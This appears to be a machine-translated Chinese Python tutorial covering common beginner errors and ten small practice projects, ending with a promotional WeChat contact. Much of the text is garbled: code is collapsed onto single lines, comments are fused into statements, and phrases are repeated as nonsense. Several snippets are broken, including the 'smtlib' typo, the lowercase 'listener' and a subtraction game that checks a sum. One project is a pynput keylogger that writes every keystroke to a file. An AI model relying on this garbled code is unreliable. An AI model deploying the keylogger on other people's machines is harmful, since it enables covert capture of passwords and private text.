Introduction:
Don’t know what the best programming language in the world is?
But life is short. I use Python!
** Writing code, mistakes are inevitable, ** the key is how to quickly locate errors, solve bugs. Error messages sometimes do not provide useful information, especially when programming new
Error code: error code: error code: error code: error code: error code: error code: error code: error code: error code
In addition to summarizing the common mistakes of novice programming, there will also be some simple novice projects for everyone to learn!
The body of the
First, novice programming errors
1) Basic mistakes common to novices
1. Lack of colon:
,2,3,4,5,6,7,8,9 a = [1] for I in range (0, len (a)) for j in range (I + 1, len) (a) : if a [j] < a [I] : a [I], a [j] = [j], a [I] a print (a)Copy the code
# syntax error: Invalid syntax
2. Incorrect indentation
For class definitions, function definitions, flow control statements, exception handling statements, etc., the colon at the end of the line and the indentation of the next line indicate the beginning of the next code block, and
The end of the indentation indicates the end of the code block. Code with the same indentation is considered a code block.
num = 2
if num < 5:
print(num)
Copy the code
Error: Block that needs to be indented
3. The symbol is Chinese
For example, colons and parentheses are Chinese symbols.
For I in range(2,102) : print(I)Copy the code
Error message:
4. The data type is incorrect
Common for example: different types of data for splicing.
name = 'xiaoming'
age = 16
print(name+age)
Copy the code
Error message:
5. Incorrect spelling of variable or function names
6. Use keywords as file names, class names, function names, or variable names.
Class, function, or variable names cannot use Python keywords. The file name cannot conflict with the standard library.
Python3 keywords are:
and, as, assert, break, class, continue, def, del, elif,else, except, False, finally, for, from, global, if, import, in, is, lambda,None, nonlocal, not, or, pass, raise, return, True, try, while, with, yield
Copy the code
Error:
7. Use “=” as “= =”
“=” is the assignment operator, “==” is the equal comparison operation, used as a conditional judgment.
Error:
Correct:
8. Missing argument self
Initialization function, instance function, instance variable takes the default argument self.
9. Variables are not defined
Error message:
Code checklist
Below is a simple code check list, hoping to help beginners programming, just for reference, you can also summarize their own programming mistakes.
Three, novice entry small procedures
These examples are very simple and practical, suitable for beginners to practice. You can also try building your own solutions to improve your programming skills based on the project’s goals and tips.
1. Rock-paper-scissors
Goal: Create a command line game where players can choose between rock, paper, scissors, and computer. If the player wins, the score will
Add, until the end of the game, the final score will be shown to the player.
Tip: Accept the player’s choices and compare them to the computer’s choices. The computer’s choice was chosen at random from a list of choices. If the player gets
If you win, you gain 1 point.
import random choices = ["Rock", "Paper", "Scissors"] computer = random.choice(choices) player = False cpu_score = 0 player_score = 0 while True: player = input("Rock, Paper or Scissors?" Capitalize ().capitalize() # capitalize() # capitalize() # capitalize() # capitalize() # capitalize() # capitalize() # capitalize() # capitalize() # capitalize() ) elif player == "Rock": if computer == "Paper": print("You lose!" , computer, "covers", player) cpu_score+=1 else: print("You win!" , player, "smashes", computer) player_score+=1 elif player == "Paper": if computer == "Scissors": print("You lose!" , computer, "cut", player) cpu_score+=1 else: print("You win!" , player, "covers", computer) player_score+=1 elif player == "Scissors": if computer == "Rock": print("You lose..." , computer, "smashes", player) cpu_score+=1 else: print("You win!" , player, "cut", computer) player_score+=1 elif player=='E': print("Final Scores:") print(f"CPU:{cpu_score}") print(f"Plaer:{player_score}") break else: print("That's not a valid play. Check your spelling!" ) computer = random.choice(choices)Copy the code
2.Automatic mail sending
Purpose: To write a Python script that you can use to send email.
Tip: The Email library can be used to send E-mail.
import smtplib
from email.message import EmailMessage
email = EmailMessage()
email['from'] = 'xyz name'
email['to'] = 'xyz id'
email['subject'] = 'xyz subject'
email.set_content("Xyz content of email")
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:
## sending request to server
smtp.ehlo()
smtp.starttls()
smtp.login("email_id","Password")
smtp.send_message(email)
print("email send")
Copy the code
3. The Hangman game
Objective: To create a simple command line hangman game.
Tip: Create a list of password words and select a word at random. Each word is now marked with an underscore “_” to give the user a chance to guess the word, and if the user guesses the word correctly, the “_” is replaced with a word.
import time import random name = input("What is your name? ") print ("Hello, " + name, "Time to play hangman!" ) time.sleep(1) print ("Start guessing... \n") time.sleep(0.5) ## A List Of Secret Words = [' Python ','programming','treasure','creative','medium','horror'] word = random.choice(words) guesses = '' turns = 5 while turns > 0: failed = 0 for char in word: if char in guesses: print (char,end="") else: print ("_",end=""), failed += 1 if failed == 0: print ("\nYou won") break guess = input("\nguess a character:") guesses += guess if guess not in word: turns -= 1 print("\nWrong") print("\nYou have", + turns, 'more guesses') if turns == 0: print ("\nYou Lose")Copy the code
4. The alarm clock
Purpose: To write a Python script to create an alarm clock.
Tip: You can use the date-time module to create alarms and the PlaySound library to play sounds.
from datetime import datetime from playsound import playsound alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n") alarm_hour=alarm_time[0:2] alarm_minute=alarm_time[3:5] alarm_seconds=alarm_time[6:8] alarm_period = alarm_time[9:11].upper() print("Setting up alarm.." ) while True: now = datetime.now() current_hour = now.strftime("%I") current_minute = now.strftime("%M") current_seconds = now.strftime("%S") current_period = now.strftime("%p") if(alarm_period==current_period): if(alarm_hour==current_hour): if(alarm_minute==current_minute): if(alarm_seconds==current_seconds): print("Wake Up!" ) playsound('audio.mp3') ## download the alarm sound from link breakCopy the code
5. Guess the Numbers
Purpose: To write a small Python game to guess the size.
Tip: You can use Random to generate numbers at random.
Import random target=random. Randint (1,100) count=0 while True: Guess =eval(input(' please enter a guess integer (1 to 100) ') count+=1 if guess>target: print(' guess big ') elif guess<target: print(' guess small ') else: Print (' count ') break print(' count ')Copy the code
Math addition and subtraction
Purpose: To write a Small Python game for mathematical calculations.
Tip: You can use random to generate numbers by adding and subtracting each other.
From random import randint level=0 #0 B =randint(0,100) c=input(f"{a}+{b}=") c=int(c) if c==a+b: Print (f) print(f) print(f) print(f) It is now level {level}, and you win at level 10! ) else: print(level-=1 print(f") Now the level is {level}, reach level 10 to win! Keep up the good work!" ) print(f" Challenge success! Awesome!" ) # subtraction to enter a small game, to modify the above program, need to pay attention to the subtraction before the two numbers need to compare, so as to avoid negative numbers. From random import randint level=0 #0 B =randint(0,100) if a>=b: c=input(f"{a}-{b}=") c=int(c) if c==a+b: Print (f) print(f) print(f) print(f) It is now level {level}, and you win at level 10! ) else: print(level-=1 print(f") Now the level is {level}, reach level 10 to win! Keep up the good work!" ) print(f" Challenge success! Awesome!" )Copy the code
7. Guess the words
Purpose: To write a Python mini-game with English word fill-in.
Tip: You can use random to generate a random English word.
Words = ["print", "int", "STR ", "len", "input", "format", "If ","for","def"] # def init(): Word = list(words[random. Randint (0, Len (words) -1)]) # list of random numbers, RanList = random. Sample (range(0, len(word)), Len (word)) # len(word) # len(word) # len(word) # len(word) # len(word) Tips [ranList[0]] = word[ranList[0]] tips[ranList[1]] = word[ranList[1]] # ShowMenu (): print(" Please enter '? '") print(" Quit! Def needTips(): for I in tips: print(I, end=") print() def needTips(tipsSize): # at least two unknown letters if tipsSize <= len(word)-3: Tips [ranList[tipsSize]] = word[ranList[tipsSize]] tipsSize += 1 Return tipsSize else: print(" Run) # main function left left left left left left def down down down down down down the run () : print (" -- -- -- -- -- - the python keywords version -- -- -- -- -- -- -- ") init () tipsSize = 2 showMenu () while True: Print (" tip: ",end="") showtips() guessWord = input(" If guessWord == ". Join (word): print(" congratulations! Is the % s!" % ('. Join (word))) print (" guess again ") init () elif guessWord = = '? ': tipsSize = needTips(tipsSize) elif guessWord == 'quit! ': break else: print(" Guess wrong! ) continue run()Copy the code
8.Face detection
Purpose: To write a Python script that detects faces in images and saves all faces in a folder.
Tip: HaAR cascade classifier can be used for face detection. It returns face coordinate information, can be saved in a file.
import cv2 # Load the cascade face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml') # Read the input image img = cv2.imread('images/img0.jpg') # Convert into grayscale gray = cv2.cvtColor(img, DetectMultiScale cv2.color_bgr2gray) # Detect faces Faces = face_cascade.detectMultiScale(Gray, 1.3, 4) # Draw rectangle around the faces for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2) crop_face = img[y:y + h, x:x + w] cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face) # Display the output cv2.imshow('img', img) cv2.imshow("imgcropped",crop_face) cv2.waitKey()Copy the code
9. Keyloggers
Purpose: To write a Python script that saves all the keys a user presses in a text file.
Tip: Pynput is a library in Python for controlling keyboard and mouse movements. It can also be used to make keyloggers. Simply read the user press
After a certain number of keys, save them in a text file.
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
Copy the code
10.Short url generator
Purpose: To write a Python script that uses the API to shorten a given URL.
from __future__ import with_statement
import contextlib
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
from urllib.request import urlopen
except ImportError:
from urllib2 import urlopen
import sys
def make_tiny(url):
request_url = ('http://tinyurl.com/api-create.php?' +
urlencode({'url':url}))
with contextlib.closing(urlopen(request_url)) as response:
return response.read().decode('utf-8')
def main():
for tinyurl in map(make_tiny, sys.argv[1:]):
print(tinyurl)
if __name__ == '__main__':
main()
-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/buf3qt3
Copy the code
conclusion
All right! The above is the content to share with you today, if you need to bookmark slowly look at ha ~
While watching, try typing code yourself!
For the full free source code:
For complete project source code + source material base see: # private letter xiaobian 06# or click on the blue text to add you can get free benefits!
Your support is my biggest motivation!! Mua welcomes you to read the previous article
Add solution aspect —
If you have any problems learning Python, I will answer them when I have time. Need to add ha!
Put the WX number as follows: apython68
Article summary —
Python – 2021 | for the article summary | continuously updated, direct look at this article is enough ~